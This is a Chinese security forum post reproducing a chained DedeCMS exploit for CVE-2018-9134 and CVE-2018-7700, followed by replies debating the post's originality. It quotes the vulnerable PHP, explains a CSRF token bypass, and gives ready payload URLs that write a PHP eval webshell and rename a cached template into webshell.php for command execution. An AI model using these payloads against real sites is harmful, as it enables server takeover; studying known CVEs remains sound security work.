CVE-2018-9134 和CVE-2018-7700 结合使用【通过】

利用点1

漏洞点在dede/le_manage_control.php中69行:

else if ($fmdo == "edit") {
    csrf_check();
    $filename = str_replace("..", "", $filename);
    $file = "$cfg_basedir$activepath/$filename";
    $str = stripslashes($str);
    $fp = fopen($file, "w");
    fputs($fp, $str);
    fclose($fp);
    if (empty($backurl)) {
        ShowMsg("成功保存一个文件!", "file_manage_main.php?activepath=$activepath");
    } else {
        ShowMsg("成功保存文件!", $backurl);
    }
    exit();
}

由于dedecms有对传入参数进行注册变量的机制,所以这里的变量fmdo、filename、str可控。 于是导致后台任意代码写入文件,从而getshell。 此漏洞的关键点是crsf_check函数的绕过。

dede/config.php中第63行:

function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!
</a>';
exit;
}
}

这里发现,管理员登陆后,$_SESSION['token']为null,另外token变量值我们可以伪造 最终我们只要get方式传入参数

 127.0.0.1/dede/file_manage_control.php?token=&filename=shell.php&fmdo=edit&str=<?php
eval($_POST['cmd']);?>

访问 127.0.0.1/shell.php post:cmd=phpinfo();

利用点2

在dede/tag_test_action.php中绕过csrf_check后,构造任意的 $partcode
在文件28行: $pv->SetTemplet($partcode, "string");

跟进 SetTemplet 函数:

function SetTemplet($temp,$stype="file")
{
if($stype=="string")
{
$this->dtp->LoadSource($temp);
}
...

跟进 loadSource 函数:

function LoadSource($str)
{
$this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc';
if( !is_file($filename) )
{
file_put_contents($filename, $str);
}
.....

这里 $filename 是可知的,此数将我们传入的数据写入文件。

文件已经生成

然后利用 dede/file_manage_control.php 中存在的rename漏洞,将

inc文件改为php文件。(当我看到inc文件可以写入任意代码,我最初想法是利用文件包含,也就是说要找到文件包含函数,并且参数可控。但是没有新的发现)

Detail

payload

127.0.0.1:666/dede/file_manage_control.php?
fmdo=rename&oldfilename=/data/tplcache/73d211aee49c392f89254e0652dbe8e9.inc&newfilename=webshell.php

访问 127.0.0.1:666/webshell.php
post: cmd=system('whoami');

1 个赞

这不都是一些老洞么 关注织梦的都知道吧 又不是自己发现的洞 原创度几乎为0

每个人的水平参差不齐,但是重要是这个人是否对安全有关系,有兴趣。90sec是一个民间的论坛,希望是一个每个热爱安全的人都能从中学到东西,如果说你们觉得别人发的东西,不太好,请你们拿出你们自己的原创文章。:)

1 个赞

我为什么要发代码审计的文章呢?

总是要吸收新鲜血液的,只要基础过得去,为什么不要?九零也从没认为是个多么高逼格的社区,无非是信息安全爱好者的聚集地罢了,学习才是最重要的

1 个赞

我以后会发一些高质量的文章......给刚学习不久的人一些机会吧.....

谢谢管理,在学习中,会努力的

谢谢:blush:

都是慢慢进步了,代码审计的文献我会稳定输出。不过碍于多种情况我会各种的去纯代码分析。至于复现我希望留给大家。

1 个赞